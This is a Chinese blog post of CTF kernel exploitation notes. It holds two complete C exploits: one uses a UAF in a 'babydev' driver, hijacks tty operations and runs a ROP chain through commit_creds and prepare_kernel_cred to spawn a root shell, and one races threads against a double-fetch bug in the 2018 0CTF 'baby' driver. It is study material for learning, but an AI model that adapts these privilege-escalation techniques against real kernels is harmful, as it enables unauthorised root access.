#define MOV_RDI_RAX_CALL_RDX 0xffffffff810dec19
#define SWAPGS_POPRBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getRootShell()
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}


int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t rop_chain[100];
int i = 0;
rop_chain[i++] = POP_RDI_RET;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET;
rop_chain[i++] = POP_RDX_RET;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPRBP_RET;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ_RET;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 65537, 0x2e0);
close(fd1);

int fd3 = open("/dev/ptmx", 2);


size_t fake_ops[10];
for(int i=0; i<10; i++)
{
fake_ops[i] = 0xffffffff8181bfc5;//mov rsp, rax; dec ebx; jmp xxx;
}
fake_ops[0] = 0xffffffff8100ce6e;//pop rax; ret;
fake_ops[1] = rop_chain;

size_t buf2[0x20];
read(fd2, buf2, 0x20);
buf2[3] = fake_ops;
write(fd2, buf2, 0x20);

write(fd3, buf2, 0x10);
}

Double Fetch

属于条件竞争漏洞,是内核态和用户态之间的数据访问竞争,以此来绕过一些检测比如说数据的长度来达到溢出的效果等等

[2018 0CTF]baby kernel

创建线程这东西我还第一次用,照着wp的思路打了一遍,条件竞争漏洞u1s1还挺有意思的,因为如果只是从单线程思考的话,程序的逻辑是完全没有问题的。但是由于kernel pwn是由攻击者编写程序运行所以启多个线程来造成条件竞争是能做到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>
#include <pthread.h>

int finish = 1;
size_t flag_addr = NULL;

struct FLAG
{
char* flag;
int len;
} data;

competition_func(size_t t)
{
struct FLAG* s = t;
while(finish)
{
s->flag = flag_addr;
}
}

int main()
{
int fd1 = open("/dev/baby", 2);
if(fd1<0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /dev/baby !\033[0m\n");
exit(-1);
}

ioctl(fd1, 0x6666);
system("dmesg | grep flag >/tmp/addr");
int fd2 = open("/tmp/addr", 2);
if(fd2<0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /tmp/addr !\033[0m\n");
exit(-1);
}

char* temp = malloc(0x200);
read(fd2, temp, 0x100);
char* start = strstr(temp, "Your flag is at ");
if(start == 0)
{
printf("[-] Not Found!");
}
flag_addr = strtoull(start+16, start+32, 16);
printf("\033[32m\033[1m[+] flag_addr : %p\033[0m\n", flag_addr);

data.flag = temp;
data.len = 33;

pthread_t t;
pthread_create(&t, NULL, competition_func, &data);

while(finish)
{
if(ioctl(fd1, 0x1337, &data) == 0)
{
printf("\033[32m\033[1m[+] get flag! \033[0m\n");
break;
}
data.flag = temp;
}

finish = 0;
pthread_join(t, NULL);

return 0;
}

运行完去内核日志找就行了,因为没开dmesg_restrict,所有printk的输出都可以在里面找到

  • Post title:Kernel Pwn记录
  • Post author:hash_hash
  • Create time:2023-01-15 17:13:08
  • Post link:https://hash-hash.github.io/2023/01/15/Kernel-Pwn记录/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.